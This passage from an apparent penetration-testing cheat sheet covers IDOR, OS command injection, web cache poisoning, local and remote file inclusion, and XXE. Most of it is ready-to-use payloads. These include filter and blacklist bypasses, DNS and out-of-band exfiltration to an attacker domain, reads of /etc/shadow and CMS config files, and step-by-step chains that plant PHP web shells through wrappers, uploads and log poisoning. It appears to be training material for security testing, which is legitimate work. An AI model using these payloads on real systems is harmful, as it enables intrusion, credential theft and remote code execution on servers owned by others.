> * IDOR *"becomes"* BROKEN ACCESS CONTROL whenever a user can access other objects which he doesn't have permissions for (e.g. other user's data or admin data)

***

## **Detecting potential IDOR Vulnerabilities**

1. Example: `GET` request with a specific reference to an object by using `?id=NUMBER`
2. Example: `POST` request with a specific reference (in its body) to an object by using `?id=NUMBER`
3. Example: `POST` request with specific user-permissions-related parameters such as `user role o permissions` or `"url":"/abc/data/users/1"`


# OS Command Injection

## **Introduction**

> * Injection vulnerabilities are considered the number 3 risk in OWASP's Top 10 Web App Risks, given their high impact and how common they are.
> * Injection occurs when user-controlled input is misinterpreted as part of the web query or code being executed, which may lead to subverting the intended outcome of the query to a different outcome that is useful to the attacker.
> * When it comes to OS Command Injections, the user input we control must directly or indirectly go into (or somehow affect) a web query that executes system commands.

***

## **OS Command Injection Tools**

* [Linux - Bash Obfuscator](https://github.com/Bashfuscator/Bashfuscator)
* [Windows - DOSfuscation](https://github.com/danielbohannon/Invoke-DOSfuscation)
* Auto tool - <https://github.com/commixproject/commix>

***

## **Injection Operators**

| Injection Operator | Injection Character | URL-Encoded Character | Executed Command                           |
| ------------------ | ------------------- | --------------------- | ------------------------------------------ |
| Semicolon          | ;                   | %3b                   | Both                                       |
| New Line           |                     | %0a                   | Both                                       |
| Background         | &                   | %26                   | Both (second output generally shown first) |
| Pipe               | \|                  | %7c                   | Both (only second output is shown)         |
| AND                | &&                  | %26%26                | Both (only if first succeeds)              |
| OR                 | \|\|                | %7c%7c                | Second (only if first fails)               |
| Sub-Shell          | \`\`                | %60%60                | Both (Linux-only)                          |
| Sub-Shell          | $()                 | %24%28%29             | Both (Linux-only)                          |

***

## **Linux Filtered Character Bypass**

| Filtered Character | Bypass Method           | Description                                                                      |
| ------------------ | ----------------------- | -------------------------------------------------------------------------------- |
| printenv command   | `printenv`              | Can be used to view all environment variables                                    |
| Space Character    | %09                     | Using tabs instead of spaces                                                     |
| Space Character    | ${IFS}                  | Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $()) |
| Space Character    | {ls,-la}                | Commas will be replaced with spaces                                              |
| `/` Character      | ${PATH:0:1}             | Will be replaced with /                                                          |
| `;` Character      | ${LS\_COLORS:10:1}      | Will be replaced with ;                                                          |
| Any Character      | $(tr '!-}' '"-\~'<<<\[) | Shift character by one (\[ -> )                                                  |

***

## **Windows Filtered Character Bypass**

| Filtered Character | Bypass Method          | Description                                                  |
| ------------------ | ---------------------- | ------------------------------------------------------------ |
| Env command        | Get-ChildItem Env      | Can be used to view all environment variables - (PowerShell) |
| Space Character    | %09                    | Using tabs instead of spaces                                 |
| Space Character    | %PROGRAMFILES:\~10,-5% | Will be replaced with a space - (CMD)                        |
| Space Character    | $env:PROGRAMFILES\[10] | Will be replaced with a space - (PowerShell)                 |
| `\` Character      | %HOMEPATH:\~0,-17%     | Will be replaced with `\` - (CMD)                            |
| `\` Character      | $env:HOMEPATH\[0]      | Will be replaced with `\` - (PowerShell)                     |

***

## **Linux Blacklisted Command Bypass**

| Blacklist Bypass         | Payload                                                      | Description                         |
| ------------------------ | ------------------------------------------------------------ | ----------------------------------- |
| Case Manipulation        | `$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")`                           | Execute command regardless of cases |
| Case Manipulation        | `$(a="WhOaMi";printf %s "${a,,}")`                           | Another variation of the technique  |
| Reversing a Command      | `echo 'whoami' \| rev`                                       | Reverse a string                    |
| Reversing a Command      | `$(rev<<<'imaohw')`                                          | Execute reversed command            |
| Base64 Encoding Commands | `echo -n 'cat /etc/passwd \| grep 33' \| base64`             | Encode a string with base64         |
| Base64 Encoding Commands | `bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)` | Execute b64 encoded string          |

***

## **Windows Blacklisted Command Bypass**

| Blacklist Bypass         | Payload                                                                                               |
| ------------------------ | ----------------------------------------------------------------------------------------------------- |
| Case Manipulation        | `WhoAmi`                                                                                              |
| Reversing a Commands     | `"whoami"[-1..-20] -join ''`                                                                          |
| Reversing a Commands     | `iex "$('imaohw'[-1..-20] -join '')"`                                                                 |
| Base64 Encoding Commands | `[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))`                       |
| Base64 Encoding Commands | `iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('BASE64OUT')))"` |

***

## Miscellaneous & Tricks

### Detecting blind OS command injection using time delays

You can use an injected command to trigger a time delay, enabling you to confirm that the command was executed based on the time that the application takes to respond.

Some useful commands to do that are `ping -c <number of packets> <IP>` and `sleep`

If the web application's response time differs from its normal times, then you most probably confirmed that a blind os command injection is available for you to exploit.

***

### Blind injection with out-of-band (DNS) data exfiltration

If you are dealing with a **blind** os command injection, you can use the **DNS** protocol to perform out-of-band data exfiltration. You can use services such as interact-sh or burp collaborator to set up a target domain **to read the output of your commands**

You can use payloads such as the following ones to send a **DNS request to a subdomain named with the command's output**:

* ``||nslookup+`whoami`.YOURDOMAIN||``
* `;host $((whoami)|base64).YOURDOMAIN;`

***

### PHP backtick character

The backtick character (`` `) `` in PHP can be used to gain OS command injection, as it is a character used for shell commands execution, similarly to `shell_exec()`function.

When you enclose a string in backticks, PHP will execute it as a shell command and return the output.

Consider the following example scenario:

1. You are dealing with a web application written in PHP where a `ping.php` page is hosted.
2. Navigating to `http://example.com/ping.php?ip=10.10.10.10` allows users to ping the ip address specified (10.10.10.10)
3. If any standard way to perform OS command execution does not work, you could use the backticks to your advantage. For example, you could navigate to:\
   `` http://example.com/ping.php?ip=10.10.10.10;`ls` `` \
   to effectively run the `ls` command after the ping


# Web Cache Poisoning

### Useful Resources & Tools

* <https://portswigger.net/research/practical-web-cache-poisoning>
* <https://portswigger.net/research/web-cache-entanglement>
* Tool: [Web-Cache-Vulnerability-Scanner (WCVS)](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)

***

### Introduction to Web Cache

Web caches are commonly used in the deployment of web applications to improve performance and reduce load on backend servers. Content Delivery Networks (CDNs) and reverse proxies are examples of web caches that sit between the client and the web server, serving cached content directly to users instead of forwarding every request to the origin server.

When a client requests a resource that is not already stored in the cache, the cache retrieves it from the web server and stores it locally. Subsequent requests for the same resource can be served directly from the cache, reducing latency and server load. Cached content is typically stored for a limited period, ensuring server updates are propagated to users.

Web caches typically store static resources such as stylesheets and JavaScript files. However, depending on configuration, they may also cache dynamic responses generated from user input, such as search results. If not handled carefully, caching dynamic content can introduce security risks.

{% hint style="info" %}
To decide whether two requests can be served the same cached response, web caches rely on a **cache key**. The cache key is a subset of **request attributes** used to uniquely identify a resource.

By default, this often includes the `request path`, `query parameters`, and the `Host` header, although cache key composition ***can be customized*** to include or exclude additional headers or parameters
{% endhint %}

Web cache poisoning attacks exploit **misconfigurations in cache key handling**: by *manipulating parts of a request that are not included in the cache key, an attacker can cause the cache to store a malicious response*. This poisoned response may then be served to other users, enabling attacks such as reflected cross-site scripting (XSS) without requiring direct user interaction.

{% hint style="success" %}
Note: Web cache poisoning is *generally* an **amplifier of existing vulnerabilities**: it acts as an exploitation technique **that increases the impact of existing issues** such as reflected XSS or Host header vulnerabilities.
{% endhint %}

***

### Initial Enumeration

{% hint style="info" %}
**Remember**: all parameters that are part of the cache key are called ***keyed parameters.*** All the others are named ***unkeyed parameters***
{% endhint %}

The first step in identifying web cache poisoning vulnerabilities is identifying **unkeyed parameters** that we can use to inject a malicious payload into the response.

{% hint style="success" %}
For a cache poisoning attack to be effective, the injected payload must originate from an unkeyed parameter. If a parameter is keyed, its value must remain identical when a victim later requests the resource, otherwise the cache entry will not be reused.
{% endhint %}

Unkeyed request parameters (path, GET parameters, HTTP headers) can be identified by observing whether a cached or fresh response was served.

To find whether a web application is *potentially* vulnerable to web cache poisoning attacks, you need to iteratively try to find a way to cache your request. Then, it is required to find the unkeyed parameters to inject in the cached response to deliver payloads for attacks such as XSS.

{% hint style="info" %}
Similar to unkeyed GET parameters, it is quite common to find unkeyed HTTP headers that influence the response of the web server, which can potentially help delivering payloads.
{% endhint %}

#### Cache Busters

In real-world engagements, we must ensure that our poisoned response is not served to any actual users of the web application. We can achieve this by adding a `cache buster` to all our requests.

A cache buster is a unique parameter value used to guarantee a unique cache key. Since we have a unique cache key, only we get served the poisoned response, and no real users are affected.

A basic example is a web application where the `?language` GET parameter is keyed.\
In this case, we can use `?language=anythingrandoman123` to make sure no real users are harmed.

***

#### Approaching highly visited web applications

In real world applications, due to the amount of users visiting the webapp, your requested resources are probably already cached.

To work around this, you can try to bypass the cache **for your own request** by sending the `Cache-Control: no-cache` header. In most default configurations, caches respect this header and forward the request to the origin server instead of serving a cached response.

This allows you to receive a fresh response that includes your injected payload. If it doesn't work, the **deprecated** `Pragma: no-cache` header may sometimes have the same effect.

{% hint style="danger" %}
This is only a way to test for yourself, as these headers only affect your request.\
They do not force the cache to update or replace its stored response.

As a result, the poisoned response is not cached, and other users continue to receive the original cached content.
{% endhint %}

To actually poison the cache, **the existing cache entry must expire.** Only then can a new response be stored. This means **the attack often relies on timing**: the malicious request must reach the server at the moment the cache is ready to store a new entry. In practice, you will have to guess the right timing.

{% hint style="success" %}
Some web applications may ease the guesswork by giving out information about their cache expiration time via the `Cache-Control` response header. By inspecting values such as its `max-age`, you can estimate when the cached entry will expire and send your request accordingly, so that your desidered response is successfully cached.
{% endhint %}

***

#### Easy Cases

In simple cases, the server indicates the cache behavior via response headers such as `X-Cache-Status`. This header can reveal when a response has been stored in the cache and when a cached response is served.

For example, a value such as `X-Cache-Status: HIT` typically indicates that the response was retrieved from the cache, while other values may indicate a cache miss or that the response was freshly generated by the origin server.

<table><thead><tr><th width="227">X-Cache-Status Value</th><th>Description</th></tr></thead><tbody><tr><td>X-Cache-Status: <strong>HIT</strong></td><td>The requested item was found in the cache and served directly.</td></tr><tr><td>X-Cache-Status: <strong>MISS</strong></td><td>The item wasn't in the cache, so it was retrieved from the origin server and potentially cached for future requests.</td></tr><tr><td>X-Cache-Status: <strong>BYPASS</strong></td><td>The cache was intentionally skipped, often due to specific configurations or directives (like <code>Cache-Control: no-cache</code>).</td></tr><tr><td>X-Cache-Status: <strong>EXPIRED</strong></td><td>The cached item was old (expired), so the server fetched a fresh copy from the origin.</td></tr><tr><td>X-Cache-Status: <strong>STALE</strong></td><td>The origin server was unreachable, so the system served a stale (outdated) cached version. </td></tr></tbody></table>

In these cases, you can determine whether a parameter is part of the cache key by changing one parameter at a time and observing the header value. If repeating the same request results in a `HIT`, and changing a parameter causes a `MISS`, that parameter is keyed. After identifying a keyed parameter, repeat the same process for the remaining parameters to identify which ones are ignored by the cache.

***

### Basic Cache Poisoning Attacks

HTTP cache poisoning can be used to ease the delivery of existing vulnerabilities. Some interesting cases are:

1. **Reflected XSS**: you can leverage cache poisoning as a means to send your payload.
2. **Self-XSS**: in some cases, you can deliver self-xss payloads via cache poisoning, making them an actual reflected xss. This typically occurs with unkeyed http request headers that are included in the web application's response. The same can happen with cookies that might change the behaviour of the application (for example, a language cache or consent cookie)
3. **Host Header attacks:** if the host header is NOT part of the cache key (which is extremely rare), and if there are redirections based off the host header's value, you can redirect users to malicious pages where possible

***

### Leveraging Fat GETs

Fat GET requests are HTTP GET requests that include a request body.

While the HTTP specification does not forbid a body in a GET request, it does not define any semantics for it. As a result, most caches ignore the request body entirely when building the cache key. Some web servers or application frameworks may still parse parameters from the body of a GET request and use them to generate the response.

If a parameter influences the response and is accepted from the body of a GET request, an attacker can move that parameter from the query string into the request body.

**Sometimes, the cache ignores the GET request's body, making the parameter unkeyed,** potentially enabling web cache poisoning scenarios that would not be exploitable using standard query parameters.

***

### Leveraging Parameter Cloaking

### Parameter Cloaking <a href="#parameter-cloaking" id="parameter-cloaking"></a>

Parameter cloaking is a technique that creates a discrepancy between how the web cache and the web server interpret request parameters. Specifically, the web cache and the application end up using **different parameters** to build the cache key and to generate the response.

As a result, the application may process and reflect a parameter that the cache does not consider when caching the response. This mismatch allows attacker-controlled input to influence a cached response without being part of the cache key.

To exploit parameter cloaking, the web cache needs to parse parameters differently from the web server. One example of parameter cloaking is Python's Bottle web framework [CVE-2020-28473](https://nvd.nist.gov/vuln/detail/CVE-2020-28473).

{% hint style="info" %}
Python's Bottle web framework allows separating query parameters using a `;`, causing a difference in the interpretation of the request between the proxy (using its default configuration) and the server.

This results in malicious requests being cached as completely safe ones, as the proxy would not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.
{% endhint %}

#### Example Scenario

Imagine an application where the `language` parameter is keyed (included in the cache key), but a generic parameter `random` is unkeyed (excluded from the cache key). An attacker can send the following request: `GET /?language=en&random=b;language=de`&#x20;

In this case, the cache sees two parameters: `language=en` and `random=b;language=de`.\
Since `random` is unkeyed, it generates a cache key based only on `language=en`.

Bottle sees three parameters: `language=en`, `random=b`, and `language=de`. In many web frameworks, if a parameter is duplicated, the last value takes precedence. Therefore, the server processes the request as `language=de` and generates a response in German.

Finally, the web cache stores the german response under the cache key for English (`en`). Any subsequent user requesting the en version of the site will instead receive the "poisoned" de version.


# Local File Inclusion (LFI)

## **Introduction**

> Local file inclusion (LFI) is the process of including files that are already locally stored on the server through the exploitation of vulnerable inclusion procedures implemented in the application.\
> This vulnerability occurs, for example, when a page receives as input the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as `../`) to be injected\
> \
> LFI (Local File Inclusion) vulnerabilities allow an attacker to include a local file (on the server) due to the use of user-supplied input without proper validation. This can lead to:
>
> * Showing the contents of the file
> * Code execution on the web server
> * Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
> * Denial of Service (DoS)
> * Sensitive Information Disclosure

***

## **LFI Interesting Files**

#### **Linux Files**

```
Interesting:
 /etc/passwd
 /etc/shadow
 /etc/hosts
 /etc/issue
 /etc/group
 /etc/hostname
 /home/user/
 /home/user/.ssh
 /home/user/bash_history

Log Files:
 /var/log/apache/access.log
 /var/log/apache2/access.log
 /var/log/httpd/access_log
 /var/log/apache/error.log
 /var/log/apache2/error.log
 /var/log/httpd/error_log
```

***

#### **Web Server Files**

> The htpasswd file contains credentials for HTTP basic authentication The password inside this file can be encrypted with md5crypt To crack them: hashcat with mode (-m) 500

```
/path/to/webroot/.htpasswd
/path/to/webroot/.htaccess
```

***

#### **NGINX Files**

```
/etc/nginx/sites-enabled/default (Note: this is useful to find the current web application's web root)
/var/log/nginx/access_log
/var/log/nginx/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/nginx.access_log
/var/log/nginx.error_log
/etc/nginx/nginx.conf
/usr/local/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
```

***

#### **CMS Configuration Files**

```
WordPress: /var/www/html/wp-config.php
Joomla: /var/www/configuration.php
Dolphin CMS: /var/www/html/inc/header.inc.php
Drupal: /var/www/html/sites/default/settings.php
Mambo: /var/www/configuration.php
PHPNuke: /var/www/config.php
PHPbb: /var/www/config.php
```

***

#### **Windows Files**

```
c:\WINDOWS\system32\eula.txt
c:\boot.ini  
c:\WINDOWS\win.ini  
c:\WINNT\win.ini  
c:\WINDOWS\Repair\SAM  
c:\WINDOWS\php.ini  
c:\WINNT\php.ini  
c:\Program Files\Apache Group\Apache\conf\httpd.conf  
c:\Program Files\Apache Group\Apache2\conf\httpd.conf  
c:\Program Files\xampp\apache\conf\httpd.conf  
c:\php\php.ini  
c:\php5\php.ini  
c:\php4\php.ini  
c:\apache\php\php.ini  
c:\xampp\apache\bin\php.ini  
c:\home2\bin\stable\apache\php.ini  
c:\home\bin\stable\apache\php.ini
```

***

#### **LFI Interesting Files Lists**

1. <https://github.com/hussein98d/LFI-files/blob/master/list.txt>
2. <https://github.com/ricew4ng/Blasting-Dictionary/blob/master/LFI-Interesting-Files%EF%BC%88249%EF%BC%89.txt>

***

## **Basic LFI Examples**

| Command                                                | Description             |
| ------------------------------------------------------ | ----------------------- |
| /index.php?language=/etc/passwd                        | Basic LFI               |
| /index.php?language=../../../../etc/passwd             | LFI with path traversal |
| /index.php?language=/../../../etc/passwd               | LFI with name prefix    |
| /index.php?language=./languages/../../../../etc/passwd | LFI with approved path  |

***

## **LFI Fuzzing**

| Command                                                                                                                                                                         | Description                |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------- |
| ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?FUZZ=value' -fs 2287                                      | Fuzz page parameters       |
| ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?language=FUZZ' -fs 2287                                                      | Fuzz LFI payloads          |
| ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?language=../../../../FUZZ/index.php' -fs 2287 | Fuzz webroot path          |
| ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http\://\<SERVER\_IP>:/index.php?language=../../../../FUZZ' -fs 2287                                                                      | Fuzz server configurations |

***

## **LFI Automated Tools**

1. <https://github.com/D35m0nd142/LFISuite>
2. <https://github.com/OsandaMalith/LFiFreak>
3. <https://github.com/mzfr/liffy>

***

## **LFI Filter Bypasses**

1. Bypass basic path traversal filter: `/index.php?language=....//....//....//....//etc/passwd`
2. Bypass using URL encoding of ../../../etc/passwd: `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64`
3. Read PHP with base64 filter: `/index.php?language=php://filter/convert.base64-encode/resource=config`
4. Bypass appended extension with path truncation (obsolete): `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]`
5. Bypass appended extension with null byte (obsolete): `/index.php?language=../../../../etc/passwd%00`

***

## **LFI to RCE abusing PHP Data Wrapper**

> * The PHP Data Wrapper can be used to **include external data, including PHP code**
> * The Data Wrapper is **only available to use if the (`allow_url_include`) setting is enabled** in the PHP configurations.
> * This option is **not enabled by default**
> * This option is required for any RFI attack and several LFI attacks

**The steps to abuse the PHP Data Wrapper to gain RCE are the following:**

1. Check if `allow_url_include` is enabled:
   * To do so, you need to read the PHP configuration file found at
   * (`/etc/php/X.Y/apache2/php.ini`) for Apache
   * (`/etc/php/X.Y/fpm/php.ini`) for Nginx,
   * where `X.Y` is your install PHP version
2. Read the PHP Configuration File using the base64 filter (to ensure everything is read properly)
   * `curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"`
3. Once we have the base64 encoded string, we can decode it and `grep` for `allow_url_include` to see its value
   * `echo <BASE64VALUE> | base64 -d | grep allow_url_include`
4. If `allow_url_include` is `ON`, then it is possible to `gain RCE` using the following:
   * Generate the base64 version of the PHP RCE Payload\
     `echo '<?php system($_GET["cmd"]); ?>' | base64`
   * URL encode the base64 string
   * Pass it to the data wrapper with `data://text/plain;base64,`
   * Append `&cmd=<COMMAND>`
   * For example: `http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=id`

***

## **LFI to RCE abusing PHP Input Wrapper**

> * The PHP Data Wrapper can be used to **include external data, including PHP code**
> * The Data Wrapper is **only available to use if the (`allow_url_include`) setting is enabled** in the PHP configurations.
> * This option is **not enabled by default**
> * This option is required for any RFI attack and several LFI attacks
> * It's basically **the same as the PHP Data Wrapper**, but this requires a **POST request**

**The steps required to gain RCE are the same as the PHP Data Wrapper, you only need to change the GET request to POST using the following**

* `curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"`

***

## **LFI to RCE abusing PHP Expect Wrapper**

> * The expect wrapper allows us to directly run commands through URL streams.
> * It basically acts similarly to a web shell

**To exploit the Expect Wrapper:**

1. Read the PHP Configuration file using base64 encoding:
   * `curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"`
2. Check if `expect` is used (e.g. `extension=expect`)
   * `echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect`
3. Run commands using expect:
   * `curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"`

***

## **LFI - File (Image) Upload to RCE**

> * For this kind of attack, it's not necessary to have a file upload vulnerability
> * The only requirement is to have a IMAGE file upload functionality on the target
> * If such functionality runs code, it's possible to inject an image containing a payload to gain RCE
> * Then, after injecting the payload, we can run it through the LFI vulnerability

**The steps are the following:**

1. Create an image (using the GIF8 magic bytes or any alternative) containing the following RCE payload: `echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif`
2. Identify the upload path, for example: `/index.php?language=./profile_images/`
3. Leverage the RCE through file inclusion: `http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id`

***

## **LFI - ZIP Upload to RCE**

> * There are a couple of PHP-only techniques that utilize PHP wrappers to achieve the same goal as the previous Image upload to RCE.
> * These techniques are the ZIP Upload and Phar Upload to gain RCE
> * These techniques may become handy in some specific cases where the simple Image Upload technique does not work.
> * We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work.

**The steps are the following:**

1. Create a PHP web shell script and zip it
   * `echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php`
2. After uploading the shell.jpg archive, include it with the zip wrapper as (zip\://shell.jpg), and then refer to any files within it with #shell.php (URL encoded).
3. Finally, we can execute commands as we always do with \&cmd=id, as follows:
   * `http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id`

***

## **Phar Upload**

> * There are a couple of PHP-only techniques that utilize PHP wrappers to achieve the same goal as the previous Image upload to RCE.
> * These techniques are the ZIP Upload and Phar Upload to gain RCE
> * These techniques may become handy in some specific cases where the simple Image Upload technique does not work.

**The steps are the following:**

1. Write the following `shell.php` file

   ```
   <?php
   $phar = new Phar('shell.phar');
   $phar->startBuffering();
   $phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
   $phar->setStub('<?php __HALT_COMPILER(); ?>');

   $phar->stopBuffering();
   ```
2. Compile the `phar` file and rename it as `shell.jpg`:
   * `php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg`
3. Use the `phar wrapper` to run commands (note: you may need to use the URL encoding of `/shell.txt`):
   * `http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id`

***

## **PHP Session - Log Poisoning LFI to RCE**

> * This attack requires writing PHP code in a field we control that gets logged into a log file
> * The same file is then included in order to execute the PHP code.
> * For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another.
> * PHP Session Poisoning works by poisoning a parameter stored inside the PHPSESSID cookie (which can hold specific user-related data on the back-end)
> * The details of PHPSESSID cookies are stored in session files on the back-end, saved in /var/lib/php/sessions/ on Linux and in C:\Windows\Temp\ on Windows.
> * The name of the file that contains our user's data matches the name of our PHPSESSID cookie with the sess\_ prefix.
> * For example, if the PHPSESSID cookie is set to el4ukv0kqbvoirg7nkp4dncpk3, then its location on disk would be /var/lib/php/sessions/sess\_el4ukv0kqbvoirg7nkp4dncpk3.

**The steps are the following:**

1. Get our PHPSESSID cookie value
2. Use LFI to examine our PHPSESSID session file (`/var/lib/php/sessions/` Linux or `C:\Windows\Temp\` Windows)
3. Check if any data inside the session file is under our control in order to poison it
4. For example, the session file may contain a `language` value which is controlled through the get parameter `?language=`
5. Set the value of such parameter (by simply visiting the page with ?language=session\_poisoning) and check if it changes in the session file
6. Poison the parameter by writing PHP code to the session file. We can write a basic PHP web shell by changing the ?language= parameter to a URL encoded web shell, as follows:
7. `http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E`
8. Finally, we can include the session file and use the \&cmd=id to execute a commands: `http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id`

***

## **Server Logs Poisoning - Log Poisoning LFI to RCE**

> * This attack requires writing PHP code in a field we control that gets logged into a log file
> * The same file is then included in order to execute the PHP code.
> * For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another.
> * Both **Apache** and **Nginx** make use of **logfiles containing information about the requests against the server**
> * Inside those logs, it's possible to read the different `User-Agent` values for each request
> * **By modifying the value of the user agent, it's possible to inject PHP code to gain RCE**
> * By default, both nginx and apache logfiles are not readable by low-privileged users
> * The default path of the logfiles are as follows:
>   1. Apache logs: `/var/log/apache2` in Linux, `C:\xampp\apache\logs\`in Windows
>   2. Nginx logs: `/var/log/nginx/` in Linux, `C:\nginx\log\` in Windows

**The steps are the following:**

1. Use any LFI payload to check if the webserver logfiles are readable
2. Use BurpSuite, intercept the same request via LFI to the logfile and change the user agent value
3. Check if that same value is correctly stored inside the logfile
4. If that is the case, inject one of the following payloads as the User-Agent value:
   * `'<?php system($_GET["cmd"]); ?>'`
   * `<?php **system**($_GET["cmd"]); ?>`
5. Get RCE by using the same LFI path followed by `&cmd=id`, for example: `http://server:port/index.php?language=/var/log/apache2/access.log&cmd=id`


# Remote File Inclusion (RFI)

## **Introduction**

> * RFI is basically an LFI which also allows **inclusion of remote URLs** in order to **include remote files**
> * The objectives are to **enumerate local ports and web application through SSRF vulnerabilities** or Gaining RCE by \*\*including a malicious script that we host on our server \*\*
> * Almost any RFI vulnerability is also an LFI vulnerability (by including a local URL rather than a remote URL)

***

## **Enumerate RFI Vulnerabilities**

1. Check if `allow_url_include` is enabled:
   * To do so, you need to read the PHP configuration file found at
   * (`/etc/php/X.Y/apache2/php.ini`) for Apache
   * (`/etc/php/X.Y/fpm/php.ini`) for Nginx,
   * where `X.Y` is your install PHP version
2. Read the PHP Configuration File using the base64 filter (to ensure everything is read properly)
   * `curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"`
3. Check if the option is set to ON: `echo 'BASE64VALUE' | base64 -d | grep allow_url_include`
4. This may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.
5. Try to include a URL, starting with a local url like `http://127.0.0.1:80/index.php` then, if that works, include a remote URL

***

## **Remote Code Execution from RFI**

Follow these steps:

1. Write the webshell payload file: `echo '<?php system($_GET["cmd"]); ?>' > shell.php`
2. Start a webserver: `sudo python3 -m http.server <LISTENING_PORT>`
3. Use RFI to gain RCE: `http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id`
4. The same thing can be done by starting a local `FTP` or `SMB` server and using `ftp://<OUR_IP>/shell.php&cmd=id` or `\\<OUR_IP>\share\shell.php`


# XML External Entities (XXE)

## **Introduction**

An XML External Entity Injection (XXE) vulnerability occurs when a web application uses outdated or insecure XML parsers that allow external entity processing. If the application accepts XML input from users and fails to properly configure the parser, an attacker may craft malicious XML data to gain unauthorized access to local files or system information on the back-end server.

In an XXE attack, the adversary defines a custom entity within the XML Document Type Definition (DTD) to extract sensitive data such as configuration files, credentials, or even portions of the application’s source code. These exposed files may contain critical information, including database passwords, API keys, or environment variables.

Beyond data disclosure, XXE vulnerabilities can be exploited to perform more severe attacks such as conducting internal network scans, or, in extreme cases, achieving remote code execution

***

## **Resources and Tools**

1. <https://github.com/enjoiz/XXEinjector>
2. <https://github.com/luisfontes19/xxexploiter>
3. <https://github.com/payloadbox/xxe-injection-payload-list>

***

## **XXE Basic Payloads**

Define External Entity to a URL\
`<!ENTITY xxe SYSTEM "http://example.com">`

Define External Entity to a local file path (XXE Local File Disclosure)\
`<!ENTITY xxe SYSTEM "file:///etc/passwd">`&#x20;

Reading a file using OOB (out-of-band) exfiltration\
`<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">`

***

## **Identifying XXE Candidates**&#x20;

{% stepper %}
{% step %} <mark style="color:$primary;">**Find XML upload endpoints**</mark>\
Look for endpoints that accept XML files or raw XML in the request body.\
Typical indicators include a `Content-Type` of `application/xml` or `text/xml`.
{% endstep %}

{% step %} <mark style="color:$primary;">**Inject an external entity**</mark>\
Using a payload like `<!DOCTYPE foo [ <!ENTITY &xxe "my entity value" > ]>`\
After the XML DTD, which is basically the starting xml tag, such as\
`<xml version="1.0" encoding="UTF-8?>`)
{% endstep %}

{% step %} <mark style="color:$primary;">**Reference the entity**</mark>\
Add a reference to the injected entity inside the XXE vector as follows:\
`<VulnerableTag> &xxe; </VulnerableTag>`
{% endstep %}

{% step %} <mark style="color:$primary;">**Case 1 - Check the results**</mark>\
If "***my entity value***" is reflected in the application's response, you might have identified a valid XXE entrypoint. *If the paylad was not reflected, go to the next step.*
{% endstep %}

{% step %} <mark style="color:$primary;">**Case 2 - Check for a blind XXE**</mark>\
The absence of a visible reflection doesn’t rule out entity processing — the parser may still resolve entities even if they aren’t echoed back. Try leveraging blind XXE payloads to check whether the entity is processed.
{% endstep %}
{% endstepper %}

***

## **Blind XXE using Out of Band Exfiltration**

If your XML input is not being reflected inside the application's responses, you can't visually (directly) tell whether the external entity was parsed. In this case, you can leverage out of band (OOB) exfiltration techniques to send a request from the XML parser to a server you own.

This techniques involves hosting a malicious DTD on the attacker's system, and then invoking the external DTD from within the XXE payload.

An example of a malicious DTD to exfiltrate the contents of the `/etc/passwd` file is as follows:

{% code title="malicious.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
